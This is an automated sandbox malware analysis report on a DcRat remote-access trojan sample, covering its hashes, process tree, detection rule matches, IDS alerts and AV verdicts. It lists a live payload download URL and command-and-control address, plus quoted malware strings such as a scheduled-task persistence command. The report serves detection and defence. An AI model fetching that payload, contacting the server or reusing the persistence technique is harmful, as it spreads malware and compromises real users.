Edit tour

Windows Analysis Report
SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe
Analysis ID:	1663865
MD5:	9308044d486d7b3f5ffee3f41d3f7881
SHA1:	ee98fb3fb0b2f5e0a1e05fc409b920363626a8ca
SHA256:	a4846d7540225062d89a5bb08fdc3ed947e0ca684507a5f21bfe7d71bbcc2dd3
Tags:	exeuser-SecuriteInfoCom
Infos:

Detection

DcRat

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected DcRat

.NET source code contains potential unpacker

.NET source code contains very large strings

.NET source code references suspicious native API functions

AI detected suspicious PE digital signature

Allocates memory in foreign processes

Compiles code for process injection (via .Net compiler)

Contains functionality to capture screen (.Net source)

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Sigma detected: Dot net compiler compiles file from suspicious location

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Suricata IDS alerts with low severity for network traffic

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe (PID: 3928 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe" MD5: 9308044D486D7B3F5FFEE3F41D3F7881)

csc.exe (PID: 6996 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

conhost.exe (PID: 2576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 7016 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8956.tmp" "c:\Users\user\AppData\Local\Temp\5dljncsi\CSC46F1B711EF3E491E90EFFC96C5EAD74.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

MSBuild.exe (PID: 5036 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.eclecticiq.com/sandworm-apt-targets-ukrainian-users-with-trojanized-microsoft-kms-activation-tools-in-cyber-espionage-campaigns https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x18a8d3:$a1: havecamera 0x1907f9:$a2: timeout 3 > NUL 0x191d43:$a3: START "" " 0x198cc0:$b2: DcRat By qwqdanchun1

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.2388462794.0000000002D96000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0xc384:$b2: DcRat By qwqdanchun1
00000000.00000002.1176486641.00000000032AB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.2388462794.000000000300F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
00000004.00000002.2388462794.000000000300F000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x3258:$b2: DcRat By qwqdanchun1 0x8058:$b2: DcRat By qwqdanchun1 0x8298:$b2: DcRat By qwqdanchun1
00000004.00000002.2387305116.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0xc5c:$b2: DcRat By qwqdanchun1 0x26b0:$b2: DcRat By qwqdanchun1
00000000.00000002.1176630709.0000000004239000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.2387305116.0000000001083000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x45624:$b2: DcRat By qwqdanchun1
00000004.00000002.2384955038.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.2388462794.0000000002D21000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
00000004.00000002.2388462794.0000000002D21000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.2388462794.0000000002D21000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x355fc:$b2: DcRat By qwqdanchun1
00000000.00000002.1176630709.0000000004419000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe PID: 3928	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe PID: 3928	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: MSBuild.exe PID: 5036	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
Process Memory Space: MSBuild.exe PID: 5036	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: MSBuild.exe PID: 5036	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x140db:$b2: DcRat By qwqdanchun1 0x19fe6:$b2: DcRat By qwqdanchun1 0x23d5d:$b2: DcRat By qwqdanchun1 0x3aebc:$b2: DcRat By qwqdanchun1 0x4c351:$b2: DcRat By qwqdanchun1
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32afe74.3.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32afe74.3.raw.unpack	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x1c392:$str02: get_SslClient 0x1c3ae:$str03: get_TcpClient 0x17a4d:$str04: get_SendSync 0x19169:$str05: get_IsConnected 0x1a252:$str06: set_UseShellExecute 0x1e93e:$str08: Select * from AntivirusProduct 0x1419a:$str09: Stub.exe 0x1425e:$str09: Stub.exe 0x1d08a:$str10: timeout 3 > NUL 0x1e382:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32afe74.3.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x1e344:$str03: Po_ng 0x1cb64:$str04: Pac_ket 0x1e8b2:$str05: Perfor_mance 0x1e8f6:$str06: Install_ed 0x19169:$str07: get_IsConnected 0x1a455:$str08: get_ActivatePo_ng 0x1b71d:$str09: isVM_by_wim_temper 0x1d08a:$str11: timeout 3 > NUL 0x1e4c2:$str12: ProcessHacker.exe 0x1e6b4:$str13: Select * from Win32_CacheMemory
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32afe74.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1e6b4:$q1: Select * from Win32_CacheMemory 0x1e6f4:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x1e742:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x1e790:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32ab9fc.2.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32ab9fc.2.raw.unpack	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x2080a:$str02: get_SslClient 0x20826:$str03: get_TcpClient 0x1bec5:$str04: get_SendSync 0x1d5e1:$str05: get_IsConnected 0x1e6ca:$str06: set_UseShellExecute 0x22db6:$str08: Select * from AntivirusProduct 0x18612:$str09: Stub.exe 0x186d6:$str09: Stub.exe 0x21502:$str10: timeout 3 > NUL 0x227fa:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32ab9fc.2.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x227bc:$str03: Po_ng 0x20fdc:$str04: Pac_ket 0x22d2a:$str05: Perfor_mance 0x22d6e:$str06: Install_ed 0x1d5e1:$str07: get_IsConnected 0x1e8cd:$str08: get_ActivatePo_ng 0x1fb95:$str09: isVM_by_wim_temper 0x21502:$str11: timeout 3 > NUL 0x2293a:$str12: ProcessHacker.exe 0x22b2c:$str13: Select * from Win32_CacheMemory
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32ab9fc.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x22b2c:$q1: Select * from Win32_CacheMemory 0x22b6c:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x22bba:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x22c08:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.raw.unpack	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x171e48:$str02: get_SslClient 0x171e64:$str03: get_TcpClient 0x16d503:$str04: get_SendSync 0x16ec1f:$str05: get_IsConnected 0x16fd08:$str06: set_UseShellExecute 0x1743f4:$str08: Select * from AntivirusProduct 0x179c50:$str09: Stub.exe 0x179d14:$str09: Stub.exe 0x172b40:$str10: timeout 3 > NUL 0x173e38:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x173dfa:$str03: Po_ng 0x17261a:$str04: Pac_ket 0x174368:$str05: Perfor_mance 0x1743ac:$str06: Install_ed 0x16ec1f:$str07: get_IsConnected 0x16ff0b:$str08: get_ActivatePo_ng 0x1711d3:$str09: isVM_by_wim_temper 0x172b40:$str11: timeout 3 > NUL 0x173f78:$str12: ProcessHacker.exe 0x17416a:$str13: Select * from Win32_CacheMemory
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x17416a:$q1: Select * from Win32_CacheMemory 0x1741aa:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x1741f8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x174246:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
4.2.MSBuild.exe.400000.0.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
4.2.MSBuild.exe.400000.0.unpack	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x171e48:$str02: get_SslClient 0x171e64:$str03: get_TcpClient 0x16d503:$str04: get_SendSync 0x16ec1f:$str05: get_IsConnected 0x16fd08:$str06: set_UseShellExecute 0x1743f4:$str08: Select * from AntivirusProduct 0x179c50:$str09: Stub.exe 0x179d14:$str09: Stub.exe 0x172b40:$str10: timeout 3 > NUL 0x173e38:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn
4.2.MSBuild.exe.400000.0.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x173dfa:$str03: Po_ng 0x17261a:$str04: Pac_ket 0x174368:$str05: Perfor_mance 0x1743ac:$str06: Install_ed 0x16ec1f:$str07: get_IsConnected 0x16ff0b:$str08: get_ActivatePo_ng 0x1711d3:$str09: isVM_by_wim_temper 0x172b40:$str11: timeout 3 > NUL 0x173f78:$str12: ProcessHacker.exe 0x17416a:$str13: Select * from Win32_CacheMemory
4.2.MSBuild.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x17416a:$q1: Select * from Win32_CacheMemory 0x1741aa:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x1741f8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x174246:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.unpack	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x170048:$str02: get_SslClient 0x170064:$str03: get_TcpClient 0x16b703:$str04: get_SendSync 0x16ce1f:$str05: get_IsConnected 0x16df08:$str06: set_UseShellExecute 0x1725f4:$str08: Select * from AntivirusProduct 0x177e50:$str09: Stub.exe 0x177f14:$str09: Stub.exe 0x170d40:$str10: timeout 3 > NUL 0x172038:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x171ffa:$str03: Po_ng 0x17081a:$str04: Pac_ket 0x172568:$str05: Perfor_mance 0x1725ac:$str06: Install_ed 0x16ce1f:$str07: get_IsConnected 0x16e10b:$str08: get_ActivatePo_ng 0x16f3d3:$str09: isVM_by_wim_temper 0x170d40:$str11: timeout 3 > NUL 0x172178:$str12: ProcessHacker.exe 0x17236a:$str13: Select * from Win32_CacheMemory
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x17236a:$q1: Select * from Win32_CacheMemory 0x1723aa:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x1723f8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x172446:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32ab9fc.2.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32ab9fc.2.unpack	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x1ea0a:$str02: get_SslClient 0x1ea26:$str03: get_TcpClient 0x1a0c5:$str04: get_SendSync 0x1b7e1:$str05: get_IsConnected 0x1c8ca:$str06: set_UseShellExecute 0x20fb6:$str08: Select * from AntivirusProduct 0x16812:$str09: Stub.exe 0x168d6:$str09: Stub.exe 0x1f702:$str10: timeout 3 > NUL 0x209fa:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32ab9fc.2.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x209bc:$str03: Po_ng 0x1f1dc:$str04: Pac_ket 0x20f2a:$str05: Perfor_mance 0x20f6e:$str06: Install_ed 0x1b7e1:$str07: get_IsConnected 0x1cacd:$str08: get_ActivatePo_ng 0x1dd95:$str09: isVM_by_wim_temper 0x1f702:$str11: timeout 3 > NUL 0x20b3a:$str12: ProcessHacker.exe 0x20d2c:$str13: Select * from Win32_CacheMemory
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32ab9fc.2.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x20d2c:$q1: Select * from Win32_CacheMemory 0x20d6c:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x20dba:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x20e08:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32afe74.3.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32afe74.3.unpack	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x1a592:$str02: get_SslClient 0x1a5ae:$str03: get_TcpClient 0x15c4d:$str04: get_SendSync 0x17369:$str05: get_IsConnected 0x18452:$str06: set_UseShellExecute 0x1cb3e:$str08: Select * from AntivirusProduct 0x1239a:$str09: Stub.exe 0x1245e:$str09: Stub.exe 0x1b28a:$str10: timeout 3 > NUL 0x1c582:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32afe74.3.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x1c544:$str03: Po_ng 0x1ad64:$str04: Pac_ket 0x1cab2:$str05: Perfor_mance 0x1caf6:$str06: Install_ed 0x17369:$str07: get_IsConnected 0x18655:$str08: get_ActivatePo_ng 0x1991d:$str09: isVM_by_wim_temper 0x1b28a:$str11: timeout 3 > NUL 0x1c6c2:$str12: ProcessHacker.exe 0x1c8b4:$str13: Select * from Win32_CacheMemory
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32afe74.3.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1c8b4:$q1: Select * from Win32_CacheMemory 0x1c8f4:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x1c942:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x1c990:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.325f8e8.0.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.325f8e8.0.unpack	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x6ab1e:$str02: get_SslClient 0x6ab3a:$str03: get_TcpClient 0x661d9:$str04: get_SendSync 0x678f5:$str05: get_IsConnected 0x689de:$str06: set_UseShellExecute 0x6d0ca:$str08: Select * from AntivirusProduct 0xbe70:$str09: Stub.exe 0xbf34:$str09: Stub.exe 0x62926:$str09: Stub.exe 0x629ea:$str09: Stub.exe 0x6b816:$str10: timeout 3 > NUL 0x6cb0e:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.325f8e8.0.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x6cad0:$str03: Po_ng 0x6b2f0:$str04: Pac_ket 0x6d03e:$str05: Perfor_mance 0x6d082:$str06: Install_ed 0x678f5:$str07: get_IsConnected 0x68be1:$str08: get_ActivatePo_ng 0x69ea9:$str09: isVM_by_wim_temper 0x6b816:$str11: timeout 3 > NUL 0x6cc4e:$str12: ProcessHacker.exe 0x6ce40:$str13: Select * from Win32_CacheMemory
0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.325f8e8.0.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x6ce40:$q1: Select * from Win32_CacheMemory 0x6ce80:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x6cece:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x6cf1c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
Click to see the 27 entries

Sigma Signatures

System Summary

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, ParentProcessId: 3928, ParentProcessName: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.cmdline", ProcessId: 6996, ProcessName: csc.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, ProcessId: 3928, TargetFilename: C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.cmdline

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, ParentProcessId: 3928, ParentProcessName: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.cmdline", ProcessId: 6996, ProcessName: csc.exe

Suricata Signatures

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-12T19:35:14.891255+0200	2019714	2	Potentially Bad Traffic	192.168.2.4	49713	77.223.119.85	80	TCP

ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-12T19:35:20.984647+0200	2842478	1	Malware Command and Control Activity Detected	77.223.119.85	1414	192.168.2.4	49714	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://77.223.119.85/tb.exe

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.dll

Avira: detection malicious, Label: TR/Dropper.Gen7

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Virustotal: Detection: 31%			Perma Link
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	ReversingLabs: Detection: 36%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Neural Call Log Analysis: 99.7%

Source: unknown

HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.4:49724 version: TLS 1.2

Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: q costura.packetlib.pdb.compressed source: MSBuild.exe, 00000004.00000002.2388462794.0000000002D21000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.costura.pdb.compressed source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.00000000032AB000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2388462794.0000000002D21000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q7C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.pdbt source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.00000000032E1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q7C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.pdb source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.00000000032E1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: packetlibAcostura.packetlib.dll.compressedAcostura.packetlib.pdb.compressed#system.appcontextQcostura.system.appcontext.dll.compressed;system.collections.concurrenticostura.system.collections.concurrent.dll.compressed%system.collectionsScostura.system.collections.dll.compressed;system.collections.nongenericicostura.system.collections.nongeneric.dll.compressed=system.collections.specializedkcostura.system.collections.specialized.dll.compressed+system.componentmodelYcostura.system.componentmodel.dll.compressedKsystem.componentmodel.eventbasedasyncycostura.system.componentmodel.eventbasedasync.dll.compressedAsystem.componentmodel.primitivesocostura.system.componentmodel.primitives.dll.compressedGsystem.componentmodel.typeconverterucostura.system.componentmodel.typeconverter.dll.compressed source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.00000000032AB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura=costura.costura.dll.compressed=costura.costura.pdb.compressed5microsoft.win32.primitivesccostura.microsoft.win32.primitives.dll.compressed source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.00000000032AB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.packetlib.pdb.compressed source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.00000000032AB000.00000004.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

